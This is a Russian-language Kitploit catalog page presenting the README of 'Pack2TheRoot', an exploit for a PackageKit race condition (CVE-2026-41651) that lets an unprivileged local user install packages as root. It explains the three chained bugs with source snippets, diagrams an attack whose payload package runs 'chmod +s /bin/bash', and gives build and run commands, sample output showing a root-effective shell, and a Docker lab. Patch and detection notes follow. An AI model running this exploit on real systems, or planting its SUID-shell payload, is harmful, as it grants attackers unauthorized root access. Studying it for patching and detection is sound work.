Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41651 — Эксплуатирует состояние гонки TOCTOU в обработчике транзакций PackageKit для установки произвольных пакетов от имени root, добиваясь локального повышения привилегий и получения SUID-оболочки без аутентификации. | Kitploit
Инструменты/GitHubGitHub/vozec/cve-2026-41651
Повышение привилегийАнализ уязвимостейЭксплуатация
GitHubvozec/cve-2026-41651

CVE-2026-41651

Эксплуатирует состояние гонки TOCTOU в обработчике транзакций PackageKit для установки произвольных пакетов от имени root, добиваясь локального повышения привилегий и получения SUID-оболочки без аутентификации.

Репозиторий
1141834 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Pack2TheRoot — CVE-2026-41651

Гонка TOCTOU в обработчике транзакций PackageKit. Любой локальный непривилегированный пользователь может устанавливать произвольные пакеты с правами root без аутентификации.

Platform Language CVSS Status


Обзор

ПолеЗначение
CVECVE-2026-41651
КомпонентДемон PackageKit (packagekitd)
Затронутые версии1.0.2 – 1.3.4
Исправлено в1.3.5
ВоздействиеЛокальное повышение привилегий → root
Требуется аутентификацияНет
Взаимодействие с пользователемНет
Протестировано наUbuntu 24.04, Debian 12

Демо

poc

Уязвимость

Три ошибки в src/pk-transaction.c объединяются в цепочку, создавая окно TOCTOU между авторизацией и выполнением.

Ошибка 1 — Безусловная перезапись флагов (строка 4036)

Метод InstallFiles() безусловно перезаписывает cached_transaction_flags и cached_full_paths без проверки состояния:

root@kitploit:~
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);

Ошибка 2 — Молчаливое отклонение смены состояния (строки 876–881)

Метод pk_transaction_set_state() молча игнорирует переходы назад. Флаги уже перезаписаны, но состояние остаётся прежним:

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;
}

Ошибка 3 — Позднее чтение флагов (строки 2273–2277)

Метод pk_transaction_run() читает кэшированные флаги в момент диспетчеризации (из idle-колбэка GLib), а не в момент авторизации:

root@kitploit:~
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,
                              transaction->cached_full_paths);
    break;

Бонус — SIMULATE обходит polkit (строки 2893–2900)

Установка PK_TRANSACTION_FLAG_SIMULATE (бит 2, значение 0x4) полностью пропускает проверку polkit:

root@kitploit:~
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;
}

Схема эксплуатации

root@kitploit:~
Attacker                         packagekitd
   │                                  │
   │  CreateTransaction()             │
   │─────────────────────────────────►│  state = NEW
   │◄─────────────────────────────────│
   │                                  │
   │  InstallFiles(SIMULATE, dummy)   │
   │─────────────────────────────────►│  SIMULATE → polkit skipped
   │◄─────────────────────────────────│  state = READY
   │                                  │  g_idle_add(run_idle_cb) ← queued
   │                                  │
   │  InstallFiles(NONE, payload)     │  [BUG 1] flags + paths overwritten
   │─────────────────────────────────►│  [BUG 2] set_state(WAITING_FOR_AUTH)
   │◄─────────────────────────────────│          → silently rejected
   │                                  │          state stays READY
   │                                  │
   │                      [idle fires]│
   │                                  │  pk_transaction_run()
   │                                  │  [BUG 3] reads NONE + payload
   │                                  │  → dpkg installs payload as root
   │                                  │  → postinst: chmod +s /bin/bash
   │                                  │
   │  execv("/tmp/.suid_bash -p")     │
   │─────────────────────────────────►│
   │              euid=0(root)        │

Оба вызова InstallFiles отправляются как асинхронные D-Bus-вызовы в режиме fire-and-forget до того, как главный цикл клиента сделает итерацию. Это гарантирует, что оба сообщения попадут в сокет сервера до того, как сработает idle-колбэк GLib, — гонки нет.

В итоге polkitd возвращает NOT_AUTHORIZED для второго вызова, но к этому моменту APT уже запустил установку. Эта ошибка ожидаема и безвредна.


Сборка

root@kitploit:~
sudo apt install libglib2.0-dev
make

Других зависимостей нет — .deb-пакеты собираются на чистом C во время выполнения.


Использование

root@kitploit:~
./cve-2026-41651
root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

euid=0 — все проверки привилегий в ядре используют эффективный UID.


Docker

root@kitploit:~
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651

Образ собирает PackageKit 1.3.4 из исходников (коммит 2149735, последняя уязвимая версия), запускает dbus + polkitd + packagekitd, а затем выполняет эксплойт от имени непривилегированного пользователя.

Примечание о g_assert: в Docker-образе патчем удаляется защитная проверка g_assert (!transaction->emitted_finished) в pk-transaction.c. На реальной непатченной системе этот assert срабатывает, когда поток APT пытается отправить Finished после того, как это уже сделал polkitd, что приводит к падению демона по SIGABRT. К этому моменту SUID bash уже находится на диске, поэтому повышение привилегий проходит успешно — падение является побочным DoS-эффектом. packagekitd перезапускается при следующей D-Bus-активации.


Обнаружение

В PackageKit ≥ 1.3.5 второй вызов отклоняется:

root@kitploit:~
[-] Target is PATCHED (PackageKit >= 1.3.5)

Исправление добавляет проверку состояния в pk_transaction_method_call():

root@kitploit:~
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
    return;
}
root@kitploit:~
pkcon --version
journalctl -u packagekit --since '5 min ago'

Ссылки

  • NVD — CVE-2026-41651
  • Консультация GitHub — GHSA-f55j-vvr9-69xv
  • Telekom Security — pack2theroot
  • Коммит с исправлением — 76cfb675
  • Анонс в OSS-Security
Скачать инструмент